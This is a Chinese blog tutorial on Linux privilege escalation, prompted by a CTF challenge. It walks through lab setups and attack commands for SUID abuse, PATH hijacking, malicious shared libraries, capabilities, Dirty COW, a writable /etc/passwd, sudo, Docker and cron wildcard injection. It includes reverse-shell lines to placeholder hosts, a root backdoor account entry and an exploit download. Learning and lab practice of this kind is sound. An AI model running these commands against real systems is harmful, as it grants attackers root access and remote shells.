0x01 写在前面

打 MoeCTF2025-web22 的时候遇到了 suid 权限提升,还记得第一次遇到提权题是在 0xGame2025,当时也是跟着 wp 稀里糊涂的过去了,毕竟当时 linux 命令都不会几条还可以理解,到现在还是内网打不了一点,借这个机会学习一下也是极好的

0x02 核心思想

Linux 提权的本质是利用系统配置错误、程序漏洞或设计缺陷,使一个低权限用户(如普通用户)获得执行高权限操作(通常是 root 权限)的能力。每种提权方式都利用了不同的攻击面

0x03 信息收集

操作系统信息

1
2
uname -a    打印所有可用的系统信息
hostname 系统主机名

用户信息

1
2
3
4
5
env/set             显示环境变量
history 显示当前用户的历史命令记录
pwd 显示当前工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc

环境信息

1
2
3
4
5
env/set             显示环境变量
history 显示当前用户的历史命令记录
pwd 显示当前工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示有效的登录命令解释器列表

进程与服务

1
2
ps aux               显示进程
cat /etc/services 查看服务

显示各种网络接口的状态信息:

1
netstat -tanlp
  • -t:只显示 TCP 连接
  • -a:显示所有连接和监听端口(默认是只显示监听端口)
  • -n:直接使用数字地址和端口,而不是尝试将地址解析为主机名
  • -l:显示监听端口
  • -p:显示每个连接的进程 ID 和程序名称

但是现在很多 Linux 发行版默认不再预装 netstat,取而代之的是一个更现代、更快速的工具:ss,它的参数和 netstat 几乎一模一样:

1
ss -tanlp

运行程序

1
2
3
ls -alh /usr/bin/    显示当前运行程序信息
ls -alh /sbin/ 显示当前运行程序信息
dpkg -l 查看程序信息

计划任务

1
crontab -l    查看计划任务

日志信息

1
2
3
4
5
6
7
/var/log                          各日志文件

cat /etc/httpd/logs/access.log Apache访问日志
cat /etc/httpd/logs/error_log Apache错误日志

cat /var/log/nginx/access.log nginx访问日志
cat /var/log/nginx/error.log nginx错误日志

自动化工具

  • LinEnum

LinEnum 是 Linux 枚举及提权提升检查工具,该工具除了 RCE 无法收集,其他信息都能收集,主要有:内核、系统信息、用户信息、环境、作业、任务、服务、web 服务版本、默认密码或弱口令等

https://github.com/rebootuser/LinEnum

  • Linuxprivchecker

这个同样也是对服务器的信息进行信息收集的一个脚本,但是可能没有颜色区别比较单调,可以结合多个工具进行对比查看是否存在信息收集缺漏。这个脚本需要使用 Python 进行执行

https://github.com/sleventyeleven/linuxprivchecker

  • linux-exploit-suggester

这个脚本会输出服务器基本信息,也会输出可能存在的漏洞,还包括了 exp 的下载地址,可以下载对应的 exp 进行测试,而且有颜色区别说明。根据给的 exp 的下载地址下载脚本,每一个脚本都会有存在编译的命令,很有可能目标服务器没有这个编译环境,那么则需要在本地进行编译,编译完后再将 exp 上传上去,而且更好找的是同样型号的进行编译,减少出错可能

https://github.com/The-Z-Labs/linux-exploit-suggester

0x04 SUID 提权

SUID 初识

SUID(Set User ID)是一种文件属性,它允许文件(通常是二进制可执行文件)在执行时以文件所有者(root)的权限运行,而不是执行它的用户的权限。这种属性通常用于允许普通用户以管理员权限执行某些操作,而无需管理员密码

  • 核心原理:

利用设置了 SUID 位的可执行文件。当一个程序设置了 SUID 位后,任何用户在执行该程序时,其进程的有效用户 ID 会临时变为该程序所有者的 UID。如果该程序所有者是 root,那么执行者就获得了 root 权限。

  • 攻击场景

管理员错误地给一个本不该有高权限的程序(如 find, vim, cp 等)设置了 SUID 权限,或者这些程序本身存在可以被利用的功能(如调用 shell)

  • 提权关键

找到一个具有 SUID 权限的程序,并利用它执行一个系统命令或启动一个 shell

只有可以执行的二进制程序文件才能设定 SUID 权限,非二进制文件设置 SUID 权限没任何意义

命令执行者要对该程序文件拥有执行(x)权限才能使用

SUID 权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

SUID 权限文件收集

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

find / -user root -perm -4000 -exec ls -ldb {} \; 为例:

  • find /:从根目录寻找文件
  • -user root:只要 root 具有的文件
  • -perm -400:只要权限里包含 SUID (4)的文件
  • -exec ... \;:每找到符合前面描述的文件就执行一次后面的命令
  • ls -ldb {}:把找到的文件路径填入 {},执行 ls -ldb /找到的文件路径,从而在屏幕上打印出该文件的详细权限信息

img

SUID 配置不当提权

find 提权

如果 find 命令也是以 suid 权限运行的话,则将通过 find 执行的所有命令都会以 root 权限执行

1
2
3
which find                               查看find位置
ls -alh /usr/bin/find 查看find权限
find / -perm -u=s -type f 2>/dev/null 查找具有suid权限的文件

这里由于我本地测试使用的是 wsl,/mnt/ 目录下挂载了 windows 盘,所以加上了 -xdev

img

可以看到 find 文件是没有 suid 权限的,使用 sudo 命令赋予 find 文件 suid 权限

1
2
sudo chmod u+s /usr/bin/find             赋予find文件suid权限
find / -perm -u=s -type f 2>/dev/null 查找具有suid权限的文件

img

可以看到此时的 find 文件拥有了 suid 权限,通过 find 执行的所有命令都会以 root 权限执行

1
2
3
find /etc/passwd -exec whoami \;
find /etc/passwd -exec ls / \;
find /etc/passwd -exec cat /etc/passwd \;

img

tips:

  • find 寻找的目标文件必须存在,如 /etc/passwd
  • exec 后接执行命令
  • \; 是一个强制要求的语法结束标志
1
2
3
4
5
6
7
8
# 进入shell:
find /etc/passwd -exec '/bin/sh' \;

# nc正向连接shell:
find /etc/passwd -exec nc -lvp 2333 -e '/bin/sh' \;

# nc反弹shell:
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1' \;

vim 提权

Vim 是 Linux 环境下的一款文件编辑器。但是,如果以 SUID 运行的话,它会继承 root 用户的权限,因此可以读取系统上的所有文件

1
vim.tiny /etc/passwd

bash 提权

以 root 权限打开一个 bash shell

1
bash -p

img

其他补充

利用命令均可在 https://gtfobins.org/ 这个网站上查询,这里还是列举几个

SUID 文件
提权命令
说明
`/usr/bin/bash`
`bash -p`
保留有效 UID 启动 Bash
`/usr/bin/csh`
`csh -b`
跳过初始化文件
`/usr/bin/sh`
`sh -p`
保留特权模式
`/usr/bin/ksh`
`ksh -p`
保留有效 UID
`/usr/bin/zsh`
`zsh`
部分版本可直接继承 SUID 权限
`/usr/bin/find`
`find /etc/passwd -exec /bin/bash -p \;`
利用 `-exec` 执行 Bash
`/usr/bin/awk`
`awk 'BEGIN {system("/bin/bash")}'`
调用系统 Shell
`/usr/bin/man`
`!/bin/bash`
在 man 的 pager 中逃逸到 Shell
`/usr/bin/more`
`!/bin/bash`
在 more 中执行 Shell

systemctl 提权

漏洞原理

systemctl 是用于管理 Systemd 的命令行工具。当 systemctl 被配置 SUID 权限时,可以通过创建.service 文件实现权限提升

环境搭建

给 systemctl 配置 suid 权限用于测试:

1
sudo chmod u+s /bin/systemctl

漏洞利用

/tmp 目录编写一个 service unit(服务单元)文件用来被 systemctl 加载,这里将反弹 shell 代码写入 exp.service:

1
2
3
4
5
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/vps-ip/2333 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > /tmp/exp.service

将单元文件复制到 /dev/shm 目录并使用 systemctl 加载:

1
cp /tmp/exp.service /dev/shm/exp.service

默认情况下,systemctl 命令是加载文档中所写的 /usr/lib/systemd/system/ 文件夹(此文件夹包含系统预定义的单元文件)和 /etc/systemd/system/ 文件夹(此文件夹包含用户定义的单元文件)。不过通常测试人员获取的低权限账号是不具备这两个目录写入权限的。由于临时目录 /tmp 中的内容可能会被随时更改或删除,所以 systemctl 也无法加载 /tmp 目录中的文件。那么解决方法是将服务单元文件放置在 /dev/shm 文件夹(Linux 中的共享内存文件系统,用于存放临时文件)下,该文件夹下的单元文件可以被 systemctl 正常加载且任意用户可写

先在 vps 上起 nc 监听,再使用 systemctl 加载服务单元文件:

1
2
systemctl link /dev/shm/exp.service            建立链接
systemctl enable --now /dev/shm/exp.service 启动服务

img

img

$PATH 变量劫持提权

漏洞原理

$PATH 是 Linux 系统中的一个环境变量,与 windows 下的 Path 环境变量的概念基本相同

它的主要作用是当用户执行命令时,系统会按照 $PATH 变量中的路径设置依次去寻找命令文件位置,执行最先找到的命令文件,可以根据这种特性,通过 $PATH 环境变量劫持来进行权限提升

环境搭建

以 root 用户创建 demo.c

1
2
3
4
5
6
#include<unistd.h>       // 提供 setuid() 和 setgid() 的声明
int main(){
setuid(0); // 将有效用户ID(euid)设为 0 (root)
setgid(0); // 将有效组ID(egid)设为 0 (root)
system("ps"); // 通过 /bin/sh -c "ps" 执行命令
}

gcc 编译为 shell 文件并赋予 suid 权限

1
2
gcc demo.c -o shell
chmod u+s shell

img

漏洞利用

首先通过信息收集发现 /home/g3ng4r/shell/shell 拥有 suid 权限,执行一下看看是干什么的,发现输出和 ps 内容差不多,再用 xxd 看看内容是不是有 ps

1
2
/home/g3ng4r/shell/shell
xxd /home/g3ng4r/shell/shell | grep "ps";

img

所以程序拥有 suid 权限,调用了 ps 命令,那么可以尝试环境变量劫持,这里有三种提权思路:

  1. /tmp 目录创建一个 ps 文件,内容是打开一个 bash:
1
echo "/bin/bash" > /tmp/ps && chmod +x /tmp/ps
  1. /bin/bash 文件复制为 /tmp/ps 文件
1
cp /bin/bash /tmp/ps
  1. /bin/bash 软链接到 /tmp/ps 文件
1
ln -s /bin/bash /tmp/ps

以第一种方法为例:

临时将 /tmp 目录添加到当前 Shell 会话的 PATH 环境变量最前面:

1
export PATH=/tmp:$PATH

这是$PATH 变量劫持提权攻击中最关键的一步,/tmp在$PATH 变量最前面,那么程序执行 ps 时会优先在 /tmp 目录寻找,然后执行 /tmp/ps,获取一个 root 权限的 Bash:

img

so 共享对象库注入提权

漏洞原理

linux 的程序库是一种特殊的程序文件,用于将一些常用代码、函数、变量打包,方便多个程序共享调用,而程序库分为两种:

  • 静态函数库:

在程序编译时,直接将库中的代码链接到目标程序中,在 linux 中通常使用 .a.lib 扩展名

  • 共享函数库:

即我们熟知的 .so 文件,包含编译好的代码、文件,可在程序运行时加载和卸载

一些开发人员会在程序中手动指定动态加载库的位置比如:dlopen("so文件路径",RTLD_LAZY),而如果程序被配置了 SUID 权限,且在执行时没有找到应该要加载的动态函数库,那么我们可以伪造一个同名后门库文件,让程序加载此文件实现提权,原理类似 windows 的 DLL 劫持

环境搭建

以 root 用户创建一个文件 /script/demo.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <dlfcn.h>

int main(){
printf("cillo\n");

// 以 RTLD_LAZY 模式加载 /tmp/demo.so
void* handle = dlopen("/tmp/demo.so", RTLD_LAZY);

// 如果加载失败,打印具体原因并退出
if(!handle) {
fprintf(stderr, "Cannot load library: %s\n", dlerror());
return 1;
}

// 卸载共享库,释放资源
dlclose(handle);
return 0;
}

然后 gcc 编译为脚本文件,赋予 suid 权限:

1
2
gcc demo.c -o demo
chmod 4755 demo

img

漏洞利用

因为库文件的目录是 /tmp,任何用户都可读写,因此考虑制作一个同名 so 文件来 getshell,编写 /tmp/demo.c 创建恶意共享库:

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>

// 使用的是 _init
void _init(){
// 将真实UID、有效UID、保存的UID全部设为root
setresuid(0,0,0);

// bash 保留当前的有效UID,确保拿到的root权限
system("/bin/bash -p");
}

gcc 编译为 shell.so,不使用默认的启动文件:

1
gcc -shared -fPIC -o demo.so demo.c -nostartfiles

此时再执行一次 /script/demo,这里会加载我们构造的 so 文件,完成提权:

img

0x05 capabilities 机制提权

漏洞原理

从 linux 内核 2.2 开始引入了 capabilities 机制,这是一种权限管理机制,用于确定一个程序或用户是否具有执行某项特定操作的权限

该机制相比 suid 更安全,可以更精细地控制权限,使程序只能获得它所需的最小权限

使用该机制时,系统会使用一个列表来存储程序地 capability sets(能力集),程序在请求访问某个系统资源时,系统会检查该程序的 capability sets,并根据其中的 capabilities 来决定是否允许访问

这里要提的 capibilty 是 CAP_SETUID,效果即 setuid,所以可能存在权限的风险

环境搭建

首先以 root 身份进行操作,找到 python 文件的位置,获取 /usr/bin/python3 指向的最终真实文件的绝对路径::

1
2
which python
readlink -f /usr/bin/python3

img

赋予 /usr/bin/python3.12 修改自身 UID 的能力,使其能够进行提权操作

1
setcap cap_setuid=eip /usr/bin/python3.12

Capabilities 机制有三个独立的位图集合,cap_setuid=eip 表示将 cap_setuid 同时写入全部三个:

标志
全称
作用
e
Effective
立即生效:进程启动时该能力直接进入有效集,无需代码手动激活
i
Inheritable
可继承:通过 `execve()` 创建子进程时,该能力可传递给子进程
p
Permitted
允许上限:定义了进程可以拥有的最大能力边界,Effective 不能超过 Permitted

漏洞利用

信息收集发现 python3.12 有 cap_setuid 能力:

img

这里 python3 的 cap_setuid 标记了 e(effective)和 p(permitted),即有效和允许,即表示该程序具有修改进程的有效用户 ID 的权限,所以构造 python3 命令,调用 setuid 将进程的用户 ID 设置为 0,并执行 /bin/bash 获取 root 权限的 Bash:

1
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

img

同理,有很多文件都可以实现这种提权:

gbd

1
gbd -nx -ex 'python import os;os.setuid(0)' -ex '!sh' -ex quit

node

1
node -e 'process.setuid(0);child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

php

1
php -r "posix_setuid(0);system('/bin/bash');"

ruby

1
ruby -e 'Process::Sys.setuid(0);exec "/bin/bash"'

perl

1
perl -e 'use POSIX qw(setuid); POSIX::setuid(0);exec "/bin/bash";'

vim

1
vim -c ':py import os;os.setuid(0);os.execl("/bin/bash","sh","-c","reset;exec sh")'

0x06 内核漏洞提权

漏洞原理

内核漏洞提权是利用 Linux 系统内核中存在的已知安全漏洞,获取 root 权限的一种高效提权方式

由于 Linux 是开源系统,长期以来被广泛研究,暴露出大量内核漏洞

提权过程通常包括三步:

  • 收集目标系统的内核版本信息
  • 查找与之对应的可利用漏洞及 EXP
  • 执行 EXP 实现权限提升

该方法适用于权限受限的普通用户,提权成功率高,但也可能导致系统不稳定或崩溃,因此在实际操作中需谨慎使用

工具利用

漏洞建议器下载地址:

以第四个工具为例:

img

Highly probable: 评估的内核很可能受到影响,并且 PoC 漏洞利用很可能可以直接使用,无需重大修改

Probable: 利用可能有效,但很可能需要定制 poc 漏洞利用以适应你的目标

Less probable: 需要额外的手动分析来验证内核是否受到影响

Unprobable: 内核受到影响的可能性极低(该漏洞在工具的输出中未显示)

1
wget https://www.openwall.com/lists/oss-security/2022/08/29/5/1 -O exploit.c

根据漏洞情况编译运行就可以了

脏牛提权 CVE-2016-5195

影响范围

linux 内核=>2.6.22:

  • RHEL7 Linux x86_64
  • RHEL4(4.4.7-16)
  • Debian 7(“wheel”)
  • Ubuntu 14.04.1 LTS
  • Ubuntu 14.04.5 LTS
  • Ubuntu 16.04.1 LTS
  • Ubuntu 16.10
  • Linux Mint 17.2

Clang 版本 4.0.0

  • gcc 版本 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
  • gcc 版本 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
  • gcc 版本 4.8.5 20150623(红帽 4.8.5-4)(GCC)
  • gcc 版本 4.8.4 (Ubuntu 4.8.4);
  • gcc 版本 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
  • gcc 版本 4.7.2 (Debian 4.7.2-5);
  • gcc 版本 4.4.7(带有“旧”版本)

漏洞成因

Linux 写时拷贝技术(copy-on-write)

在 Linux 系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会 exec 系统调用,出于效率考虑,Linux 系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程

前置知识:Dirty COW 漏洞 https://blog.csdn.net/hbhgyu/article/details/106245182

img

漏洞利用

利用的基本思路是在一个进程里创建两个线程,一个线程向只读的映射内存通过 Write 系统调用写入数据,这时候发生写时复制,另外一个线程通过 madvise 系统调用来丢弃映射内存的私有副本,这两个线程相互竞争从而向只读文件写入数据

EXP:https://github.com/Brucetg/DirtyCow-EXP

新建一个临时测试用户,运行 DirtyCow 的 exp 进行提权:

1
2
3
4
git clone https://github.com/dirtycow/dirtycow.github.io
cd dirtycow.github.io
gcc -pthread dirtyc0w.c -o dirtycow
./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”

img

新打开一个终端,切换到 test,查看 test 用户信息,可以看到 test 用户已经拥有了 sudo 权限,执行 sudo su ,输入 test 用户的密码后就可以切换到 root 权限,提权成功

0x07 /etc/passwd 提权

漏洞原理

当系统错误地将 /etc/passwd 设置为可写时,攻击者可以向其中添加一个伪造的 root 用户(UID 为 0)。通过这个账号登录后,就能直接获取系统最高权限。该方法简单有效,常见于配置不当的系统或靶机环境中

环境搭建

/etc/passwd 文件赋予读写权限

1
chmod 666 /etc/passwd

img

漏洞利用

使用 LinEnum 进行信息收集

img

发现 /etc/passwd 可写,使用 openssl 生成一个加密密码,例如密码为 123456

1
openssl passwd -1 123456

构造账号条目,添加 hacker 用户到 /etc/passwd,设置 root 权限:

1
echo 'hacker:$1$6XiJ8B6q$Aemvwiub9jIF.1.Cbh5A41:0:0:root:/root:/bin/bash' >> /etc/passwd

登录新建用户完成提权:

img

Linux 密码哈希生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 使用openssl 生成
openssl passwd -1 123456

# 使用 mkpasswd 生成 SHA-512 哈希值
mkpasswd -m SHA-512 123456

# 使用 Python 中的 crypt 库生成哈希值
python -c 'import crypt; print crypt.crypt("123456", "$6$salt")'

# 使用 Perl 和 crypt 生成哈希值
perl -le 'print crypt("123456", "abc")'

# 使用 PHP 生成哈希值
php -r "print(crypt('123456','123') . ' ');"

0x08 sudo 提权

漏洞原理

在 Linux 系统中,sudo 命令用于让普通用户以其他用户(通常是 root)的身份执行命令。正常情况下,执行 sudo 需要输入用户自己的密码,但为了运维方便,管理员可能会在 sudoers 文件中配置某些用户或命令为无需密码(NOPASSWD)即可执行。如果这些配置不当,攻击者可能利用它们执行高权限命令,从而实现本地提权,因此 sudo 配置错误常常是提权的关键入口之一

python 语言提权

环境搭建

切换 root 用户,配置 sudoers:

1
sudo visudo

在文件末尾写入以下内容,使得用 sudo 执行 python 命令时不需要密码:

1
ALL ALL=(root) NOPASSWD: /usr/bin/python3

漏洞利用

使用工具或者手动测试发现:当前用户在执行 /usr/bin/python3 时,可以无需输入密码直接获得 root 权限

1
sudo -l

img

利用 python 命令进行提权即可

1
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

img

perl 语言提权

环境搭建

切换 root 用户,配置 sudoers:

1
sudo visudo

在文件末尾写入以下内容,test 用户执行 sudo 命令时不需要密码:

img

漏洞利用

利用 perl 命令进行提权即可:

1
sudo perl -e 'exec "/bin/bash";'

img

less 命令提权

环境搭建

和 perl 语言提权一样,配置 sudoers 时写入:

1
用户名 ALL=(root) NOPASSWD: ALL

漏洞利用

利用 sudo+less 命令打开一个存在的文件:

1
sudo less /etc/hosts

在弹出的页面输入!bash 后回车

img

  • ! 是 less 的 Shell 转义命令:在 less 中,!xxx 会将 xxx 传递给 /bin/sh -c 执行。
  • 继承 root 权限:因为你通过 sudo 启动了 lessless 进程的有效用户 ID 已经是 0(root)。由它 fork 出的子进程(即你执行的 bash)自动继承这个 root 身份。
  • 交互式 Shell:bash 启动后,你就拥有了一个完整的 root shell,可以执行任意系统级操作

bash 退出前,原来的 less 进程仍在后台以 root 身份运行,退出 bash 后会回到 less 界面

img

0x09 Docker 提权

推荐文章:https://www.cnblogs.com/kqdssheng/p/18275541

漏洞原理

Docker 提权是指通过容器配置漏洞或不当设置,突破容器的隔离限制,从而获得宿主机的 root 权限。常见的提权方式包括利用 --privileged 标志、挂载宿主机目录、以及内核漏洞等。攻击者可以通过这些漏洞突破容器的安全限制,实现从容器内提权至宿主机

Docker 提权方式繁多,这里主要关注两种常见的风险:特权容器和挂载宿主机目录的容器

利用特征

使用 docker ps -a 可以查看 container_id

img

特权容器提权

容器如果以 --privileged 标志运行,将获得宿主机的几乎所有权限,可能导致提权风险。可以通过以下命令检查容器是否以特权模式运行:

1
docker inspect --format '{{.HostConfig.Privileged}}' <container_id>

如果容器以特权模式运行,容器内的用户将获得几乎与宿主机相同的权限。这意味着容器内的用户能够执行与宿主机相关的操作,甚至修改宿主机的文件系统,带来较高的提权风险

挂载宿主机目录容器提权

如果容器挂载了宿主机的敏感目录(如 /etc/root 等),容器中的恶意用户可以直接访问这些目录,从而提升权限。可以通过以下命令查看容器的挂载信息:

1
docker inspect --format '{{json .Mounts}}' <container_id>

当容器挂载了宿主机的敏感目录(如 /etc/root 等),容器内的恶意用户可以修改这些目录中的关键文件

特别地,容器中的用户可以通过修改 /etc/passwd 等文件实现提权操作,具体方法可以参考 /etc/passwd 提权部分。

0x10 Cronjob 提权

漏洞原理

Cronjob(定时任务)是 Linux 系统中用于定期执行任务的工具允许系统在指定时间间隔内自动运行命令或脚本

由于 cron 通常以 root 权限执行,如果攻击者能够修改 cron 配置文件或其执行的脚本或二进制文件,就可以利用 root 权限执行任意代码,从而实现提权。攻击者通过获取对定时任务的控制,能够在系统中以 root 权限运行恶意代码,造成严重的安全威胁

该命令将指令存放于 crontab 文件中,其格式为:

1
2
3
4
5
6
7
* * * * * user command
│ │ │ │ │
│ │ │ │ └── 星期
│ │ │ └──── 月
│ │ └────── 日
│ └──────── 小时
└────────── 分钟

通配符提权

环境搭建

为 root 用户添加一个计划任务

1
vim /etc/crontab

img

/usr/local/bin/test1.sh 写入以下内容:

1
cd /home/test;tar czf /tmp/back.tar.gz *

test.sh 赋予普通用户读写权限,检查计划任务是否设置成功

img

漏洞利用

查看定时任务

1
cat /etc/crontab

发现一个以 root 权限执行的任务 test.sh,查看 test.sh

1
cat /usr/local/bin/test.sh

发现任务的工作为每分钟执行将 /home/test 下的所有内容打包为 backup.tar.gz 并放置在 /tmp 目录下

img

/home/test 目录下创建三个文件:

1
2
3
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test2.sh
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh test2.sh"

img

当定时任务触发后,使用了通配符*对整个文件夹 进行打包,系统真正执行打包时,将目录下的文件一个一个传参给通配符执行打包操作,而在打包 –checkpoint=1–checkpoint-action=exec=sh test2.sh 时相当于执行如下命令:

1
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test2.sh

–checkpoint–checkpoint-action 是 tar 的参数,此处会被当作参数执行而非文件名打包。–checkpoint-action=exec=sh test2.sh 为执行 test2.sh 文件,test2.sh 文件内容为复制 bash 到 tmp 目录并赋予 suid,即可达到提权的目的:

img

文件重写提权

这个就比较好理解了,就是管理员对定时文件权限错误分配而导致普通用户具有写权限,从而达到提权

1
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > test1.sh

img

在特定目录拿 bash 就行

img

知道了文件重写原理以后,根据文件类型进行针对性的 bash 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash
# 使用 Shell 脚本启动一个新的 bash shell 提权
/bin/bash

#!/usr/bin/python
# 使用 Python 的 os.system 方法执行命令,启动 bash 提权
import os
# 执行 /bin/bash 提权命令
os.system("/bin/bash")

#!/usr/bin/perl
# 使用 Perl 的 exec 方法执行 bash 提权
exec("/bin/bash");

#!/usr/bin/ruby
# 使用 Ruby 的 exec 方法执行 bash 提权
exec("/bin/bash")

#!/usr/bin/lua
# 使用 Lua 的 os.execute 方法执行 bash 提权
os.execute("/bin/bash")

参考:

https://www.freebuf.com/articles/vuls/430677.html

https://www.cnblogs.com/solitude1223/articles/19033282

https://blog.csdn.net/qq_59102311/article/details/138559914

https://www.cnblogs.com/yuy0ung/articles/18421470

https://xz.aliyun.com/news/18240

https://www.freebuf.com/articles/436960.html

https://blog.csdn.net/hbhgyu/article/details/106245182

https://brucetg.github.io/2018/05/27/DirtyCow%EF%BC%88%E8%84%8F%E7%89%9B%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

img

欢迎各位师傅们加入 Zer0day 交流群进行友好交流

关注 Zer0day 安全喵,关注 Zer0day 安全谢谢喵